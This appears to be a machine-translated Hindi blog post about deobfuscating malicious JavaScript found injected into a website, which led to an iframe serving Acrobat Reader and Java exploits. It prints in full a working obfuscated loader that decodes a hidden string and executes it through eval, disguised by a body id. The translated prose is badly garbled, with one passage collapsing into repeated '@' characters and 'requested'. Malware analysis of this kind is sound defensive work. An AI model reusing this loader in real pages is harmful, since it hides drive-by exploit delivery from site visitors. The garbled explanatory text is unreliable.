📺 💩 👩🏻‍🤝‍👨🏿 दुर्भावनापूर्ण जावास्क्रिप्ट पहचान 🤟🏼 👩‍🎤 👩🏻‍🌾

Js में एक समर्थन साइट पर एक अजीब कोड खोजा गया था, या बल्कि यह स्पष्ट था कि यह एक मैलवेयर था: अवास्ट ने चेतावनी जारी की, और कंसोल ने दिखाया कि कई बाईं साइटों से एक कनेक्शन था।

साइट को मिला दुर्भावनापूर्ण कोड कितना महत्वपूर्ण नहीं है, कथित छेद पहले से ही बंद है, लेकिन अंत में कोड को हटाने से पहले, मैंने यह देखने का फैसला किया कि यह क्या करता है।

तो, एन्क्रिप्टेड कोड की तीन लाइनें हैं, उदाहरण के लिए, उनमें से पहली ।
आप विभिन्न ऑनलाइन सेवाओं का उपयोग करके ऐसी स्क्रिप्ट को डिक्रिप्ट कर सकते हैं, लेकिन जब मैंने आगे डिक्रिप्ट करने की कोशिश की, तो मुझे एक अद्भुत कार्यक्रम मिला , जो मुझे इस पर कम समय बिताने की अनुमति देता है।

डिक्रिप्ट की गई स्क्रिप्ट बहुत स्पष्ट हो जाती है, जो दिलचस्प है, साइट को "document.onmousemove" इवेंट में एक्सेस किया गया था, इसलिए सबसे अधिक संभावना है कि बॉट इस स्क्रिप्ट का पता नहीं लगाएगा।

तीनों लिपियों ने उन साइटों का नेतृत्व किया जिनके डोमेन डायडएनएस में पंजीकृत थे, जो हमें इस व्यक्ति को ट्रैक करने की अनुमति नहीं देता है, जिसकी हमें आवश्यकता नहीं थी, लेकिन यह एक अच्छा अतिरिक्त होगा।

ठीक है, अब यह दिलचस्प है, लेकिन वास्तव में यह स्क्रिप्ट साइट से क्या लोड करता है, यह एक और अस्पष्ट जेएस निकला है। हम पहले से ही जानते हैं कि स्क्रिप्ट का वास्तविक उद्देश्य कैसे निर्धारित किया जाता है, और हमें कोड में कुछ भी दिलचस्प नहीं लगता है: एक iframe लोड किया जाता है, जिसमें, जैसा कि मैंने सोचा था, सब कुछ सरल है। हालांकि, सर्वर की प्रतिक्रिया ने मुझे बहुत आश्चर्यचकित किया, यह बहुत बड़ा था कि यह स्पष्ट नहीं था। इसमें मैंने हैंडल में तल्लीन करने का फैसला किया, क्योंकि जादू कार्यक्रम मदद नहीं कर सकता था।

Html के हिस्से भी दिलचस्प थे

<body id="eval"> <input type="text" value="innerHTML" id="bOHYVBO5"> <div id="length" style="visibility:hidden">

और स्क्रिप्ट

 <script> EPPkAnzs=document; EPPkAnzs.wxdQzk0q=function(shjZdTvV){return EPPkAnzs.getElementById(shjZdTvV);}; EPPkAnzs.Wul6s0M=function(shjZdTvV){return EPPkAnzs["getElementsB@@@@@@@@@@yTagName".replace("@@@@@@@@@@","")](shjZdTvV);}; ZYpi6j9=EPPkAnzs.Wul6s0M("div")[0].id; function SJHTBM(Y7vWZr3R,YCYqLvHz){return Y7vWZr3R.concat(YCYqLvHz);} HALnMi=function(Y7vWZr3R,YCYqLvHz,DiZpr){return Y7vWZr3R.substr(YCYqLvHz,DiZpr);}; qo5mOv=EPPkAnzs.Wul6s0M("div")[1][EPPkAnzs.wxdQzk0q("bOHYVBO5").value]; vOm2xcMs = "Da[-PREfb6)lIN%{c4 V&s>}yJ2?*8!=Yo0+9Zu7_dO$|\\'x<nUAG^]j;M31e/gCtHL5wvKh@\"#W,rpmSFi:zTqBQk(X"; wM16vq=""; lA8KxT38=qo5mOv[ZYpi6j9]; FBVE8K4W=0; i=0; gTjSM=[]; while(FBVE8K4W<lA8KxT38){ gTjSM[i] = HALnMi(qo5mOv,FBVE8K4W,2); FBVE8K4W=2+FBVE8K4W; i++; } i=0; while(i<gTjSM[ZYpi6j9]){ iidteUpd=HALnMi(vOm2xcMs,gTjSM[i],1); wM16vq=SJHTBM(wM16vq,iidteUpd); i++; } </script> <script> if(EPPkAnzs.Wul6s0M("div")[0].id==="length")this[EPPkAnzs.Wul6s0M("body")[0].id](wM16vq);; </script>

शुरू करने के लिए, मैंने यह सब सरल करने का फैसला किया ताकि अक्षरों के एक यादृच्छिक सेट को न देखें। पहली चीज़ जो अनुरोध की जाती है वह स्पष्ट रूप से निष्पादित करने के लिए "दस्तावेज़" के साथ "EPPkAnzs" को हर जगह बदलने के लिए है, "getElementsB @@@@@@@@@@@TagName .replace (" #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ requested requested requested requested requested requested requested requested requested))) भी @ @ @@@@@@@@@@@@@ ")" getElementsByTagName "और इतने पर के साथ बदलें। फिर उसने कार्यों के नाम को सरल करना शुरू किया और आवश्यक मूल्यों को प्रतिस्थापित किया।
अपठनीय "qo5mOv = EPPkAnzs.Wul6s0M (" div ") [1] [EPPkAnzs.wxdQzk0q (" bOHYVBOV5) मूल्य]; " एक समझ में आने वाला "big_text = document.getElementsByTagName (" div ") [1] [" innerHTML "];"
इन सभी सरल जोड़तोड़ के बाद, चालाक पटकथा लेखक का इरादा स्पष्ट हो गया, एक चक्र के साथ वह संख्याओं के शीर्ष टुकड़े के माध्यम से भाग गया, उन्हें दो में विभाजित किया और चरित्र स्ट्रिंग से संबंधित स्थिति का पत्र लिया। जब सब कुछ स्पष्ट हो गया, तो मैं बस eval'om परिणाम लाया और इसे थोड़ा स्वरूपित किया।
स्क्रिप्ट के माध्यम से एक त्वरित रन, मैंने देखा कि एक्रोबेट रीडर और जावा कमजोरियों का उपयोग किया जा रहा था।

मैं इस पर शांत हो गया और, स्पष्ट विवेक के साथ, मैलवेयर के सभी संदर्भ हटा दिए। सुरक्षा के लिए लोकप्रिय प्लगइन्स की जांच करें और जल्दी से अपडेट करें ताकि आपको इस तरह के quests की व्यवस्था न करनी पड़े।

दुर्भावनापूर्ण जावास्क्रिप्ट पहचान

More articles: